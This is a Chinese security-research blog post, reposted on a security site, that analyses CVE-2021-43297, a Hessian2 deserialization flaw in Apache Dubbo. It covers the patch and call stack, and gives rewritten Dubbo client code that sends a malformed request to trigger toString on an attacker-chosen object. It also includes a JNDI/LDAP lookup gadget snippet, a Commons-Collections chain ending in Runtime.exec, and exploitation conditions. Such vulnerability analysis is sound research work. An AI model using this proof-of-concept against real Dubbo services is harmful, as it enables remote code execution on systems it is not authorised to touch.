【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

admin 2022年1月19日03:10:54安全漏洞评论182 views11444字阅读38分8秒阅读模式

作者:[email protected]知道创宇404实验室

日期:2022年1月18日

上周看到Apache官方又发布了一个Apache Dubbo Hessian2的漏洞https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww,来看看这个描述:

之前有段时间Dubbo的反序列化已经被蹂躏过n次了,而这个解析错误时看起来总有那么点不一样,想想这个漏洞即使比较鸡肋,也必然它值得借鉴的地方。下面来看看这个漏洞,以及Hessian比较处理时比较有意思的地方。

距离之前Dubbo的漏洞也有一段时间了,现在也差不多快忘了,好在之前写过一篇Dubbo的分析(https://paper.seebug.org/1131/),温故一下也能回忆起来。

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

补丁分析

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化
这个漏洞修复的不是Apache Dubbo,修复的地方在hessian-lite(https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#):

注意这个commit:Remove toString calling,看修复的几个类,都是在抛异常中删除对象的拼接,这里存在字符串拼接的隐式.toString调用。
最后还有一个DENY_CLASS禁用了某些包前缀,大概就是触发toString调用链的某些部分。
【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

漏洞环境

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化
  • Apache Dubbo 2.7.14
  • JDK8u102
  • demo拉取官方的dubbo-samples-basic(https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-basic

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

漏洞分析

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

Abstract Deserializer

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化
看上面补丁,有这样几个类:AbstractDeserializer、AbstractListDeserializer、AbstractMapDeserializer,它们修复之前的代码也出奇的一致:
@Override
public Object readObject(AbstractHessianInput in)
throws IOException {
Object obj = in.readObject();
String className = getClass().getName();

if (obj != null)
throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
else
throw error(className + ": unexpected null value");
}
这怎么看都不对劲,输入流读出对象,对象不为空抛异常!!!这没有上下文看起来多少带点大病。抽象类不能被实例化,看看有没有子类没有重写这个方法,如果没有重写或重写并调用了父类这个方法,那么就能触发.toString()的调用了。
找了一圈,这三个抽象类的所有子类,都重写了这个方法,并且都不会调用父类地方法,那么这里的修复猜测可能是用户会继承这个类然后没有重写的可能,就不考虑这种情况了。

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

Hessian2Input

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化
  • 通往obj.toString()

补丁中还有com.alibaba.com.caucho.hessian.io.Hessian2Input.java的修复,这类名怎么看都是修复在大动脉上:

.expect()中有个读取readObject()的操作,接着就是obj.toString的调用,.expect()在Hessian2Input类中有多处使用。
如何确定官方提供的dubbo-samples-basic使用的Hessian2,搜索Hessian2Input关键词的类,有Hessian2Input和Hessian2ObjectInput,猜测一下在大概率会被调用的函数上打上断点,如果不确定可以尝试在这两个类所有函数上打上断点。
经过测试,最先被调用的是com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()
调用栈如下:
readString:1611, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:41, InternalRunnable (org.apache.dubbo.common.threadlocal)
run:745, Thread (java.lang)
com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()中就有.expect()的调用,这不巧了吗(并不,一开始并没有在readString()上下断,更令人关注的难道不是readObject()吗,但是有时候你不关注的反而更奇妙),因为刚好在上两层栈,就是整个Dubbo rpc调用处理的decode函数:

得到Hessian2InputObject,调用readUTF获取版本号,这里是Hessian2反序列化的开始。接下来就是如何在readString()中调用到.expect()了,然后触发expect()中的readObject()。
看下readString()处理:
public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
case 17:
case 18:
case 19:
case 20:
case 21:
case 22:
case 23:
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);

while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}

return this._sbuf.toString();
case 32:
case 33:
...
case 67:
...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
...
...省略
case 253:
case 254:
case 255:
return String.valueOf((tag - 248 << 8) + this.read());
}
}
一共256个case,从.read()中读取tag:
public final int read() throws IOException {
return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
}
一开始我被switch的写法坑了,我以为default条件是在所有找不到的情况下才会调用,而this._buffer[this._offset++] & 255的范围只能为0-255,这根本到不了default里面啊,那只能寄希望于this._length <= this._offset && !this.readBuffer()返回-1了。可是折腾了半天,这里就不可能返回-1...
后来恍悟switch是按从上到下处理的,那么只需要取default上面没有条件的case就行了,这里后面取了67,这里取值67很巧,后面会看到。
  • 畸形数据包构造=>代码调用

从上面可以看出,我们要到达obj.toString(),就要构造畸形数据包改变正常流向。一开始抓包看了下,发送的包还挺多的,这要构造起来不得把dubbo翻一遍。后来想想,服务端既然用Hessian2Input处理的数据,那么客户端可能就是用Hessian2Output处理的,经过一些测试,我重写了Apache Dubbo部分代码改变Hessian2Input.readString()走向,以及能成功的在expect方法中readObject。
重写com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String):
public void writeString(String value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();

int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

char tail = value.charAt(strOffset + sublen - 1);
if ('ud800' <= tail && tail <= 'udbff') {
--sublen;
}

buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}

offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}

if (length <= 31) {
if (value.startsWith("2.")) {//这里只让写入version版本的时候使服务端readString异常,走向expect
buffer[offset++] = 67;//取值67
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}

if (!value.startsWith("2.")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}
重写org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeRequestData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String):
protected void encodeRequestData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
RpcInvocation inv = (RpcInvocation) data;
out.writeUTF(version);
out.writeObject(Test.getObject());//写入恶意对象,在expect中readObject的对象
}
重写org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe
public void doSubscribe(final URL url, final NotifyListener listener) {
try {
String path;
if ("*".equals(url.getServiceInterface())) {
String root = this.toRootPath();
ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
return new ConcurrentHashMap();
});
ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
return (parentPath, currentChilds) -> {
Iterator var5 = currentChilds.iterator();

while (var5.hasNext()) {
String child = (String) var5.next();
child = URL.decode(child);
if (!this.anyServices.contains(child)) {
this.anyServices.add(child);
this.subscribe(url.setPath(child).addParameters(new String[]{"interface", child, "check", String.valueOf(false)}), k);
}
}

};
});
this.zkClient.create(root, false);
List<String> services = this.zkClient.addChildListener(root, zkListener);
if (CollectionUtils.isNotEmpty(services)) {
Iterator var7 = services.iterator();

while (var7.hasNext()) {
path = (String) var7.next();
path = URL.decode(path);
this.anyServices.add(path);
this.subscribe(url.setPath(path).addParameters(new String[]{"interface", path, "check", String.valueOf(false)}), listener);
}
}
} else {
CountDownLatch latch = new CountDownLatch(1);
List<URL> urls = new ArrayList();
String[] var15 = this.toCategoriesPath(url);
int var16 = var15.length;

for (int var17 = 0; var17 < var16; ++var17) {
path = var15[var17];
ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
return new ConcurrentHashMap();
});
ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
return new ZookeeperRegistry.RegistryChildListenerImpl(url, k, latch);
});
if (zkListener instanceof ZookeeperRegistry.RegistryChildListenerImpl) {
((ZookeeperRegistry.RegistryChildListenerImpl) zkListener).setLatch(latch);
}

this.zkClient.create(path, false);
List<String> children = this.zkClient.addChildListener(path, zkListener);
if (children != null) {
urls.addAll(this.toUrlsWithEmpty(url, path, children));
}
}

URL url1 = URL.valueOf(String.format("
dubbo://%s:%s/%s?anyhost=true&application=demo-provider&default=true&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=%s&metadata-type=remote&methods=ccc,ddd&pid=111&release=2.7.14&service.name=ServiceBean:/111.222&side=provider&timestamp=111&token=aaa", BasicConsumer.targetHost, BasicConsumer.targetPort, BasicConsumer.anyInterface, BasicConsumer.anyInterface));//重写了这里,因为我们不知道目标的接口,zoomkeeper与目标服务通信之后,不会返回目标的ip和端口,所以这里的前提就是如果你不知道目标暴露的接口服务,那么需要知道目标服务的ip和port

urls.set(0, url1);

this.notify(url, listener, urls);
latch.countDown();
}

} catch (Throwable var12) {
throw new RpcException("Failed to subscribe " + url + " to zookeeper " + this.getUrl() + ", cause: " + var12.getMessage(), var12);
}
}
重写com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer
protected Serializer getDefaultSerializer(Class cl) {
this._isAllowNonSerializable = true;//默认是不允许序列化没有继承Serializable的类,但是神奇的是这只是本地的校验,关闭即可,服务端根本没有校验类需要继承Serializable
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return new JavaSerializer(cl, this._loader);
}
}
以上的demo代码放到github(https://github.com/longofo/Apache-Dubbo-Hessian2-CVE-2021-43297)了,有兴趣的可以测试下。
  • toString调用链构造注意事项

在marshalsec工具中,提供了对于Hessian反序列化可利用的几条链:
  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor
不过有的链被拉到了黑名单了,或者需要一些三方包。
之前看到过jdk中其实有个toString的利用链:
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
经过测试,发现没法使用:
  • javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
  • 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
然后对于存在Map类型的利用链,例如ysoserial中的cc5部分:
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这里LazeMap就断了。
扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

利用条件

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化
对于上面这个basic项目,使用zoomkeeper作为注册中心,要利用需要的条件如下:
  • 知道目标服务的ip&port,不需要知道zoomkeeper注册中心的地址,上面测试项目中使用的是这种样例,可以看到在客户端代码中,我没有用服务端提供的接口而是随便写的一个,依然可以成功利用
  • 或者需要知道zoomkeeper的ip&port+一个目标的interface接口名称(因为先和zoomkeeper通信,如果没有提供正确的接口名称,他不会返回目标的ip和port信息,如果你知道目标的一个interface接口,那么就可以借助zoomkeeper拿到目标的ip和port,总之和zoomkeeper通信的目的也是拿到目标的ip和port)
  • 一个toString利用链

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

最后

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化
从这个漏洞可以学到以下两点:
  • 类似Hessian2这种反序列化组件,如果要发现类似的漏洞,可以把他们的核心处理类比如Hessian2的Hessian2Input的所有readXXX方法作为source
  • 畸形数据有时候构造不容易,可以考虑从客户端代码转换

作者名片

END

点击跳转:Seebug年终总结(抽奖别错过)

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

往期文章有彩蛋哦【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

一如既往的学习,一如既往的整理,一如即往的分享【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化

如侵权请私聊公众号删文

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月19日03:10:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【CVE-2021-43297】Apache Dubbo Hessian2 异常处理时反序列化 http://cn-sec.com/archives/742895.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: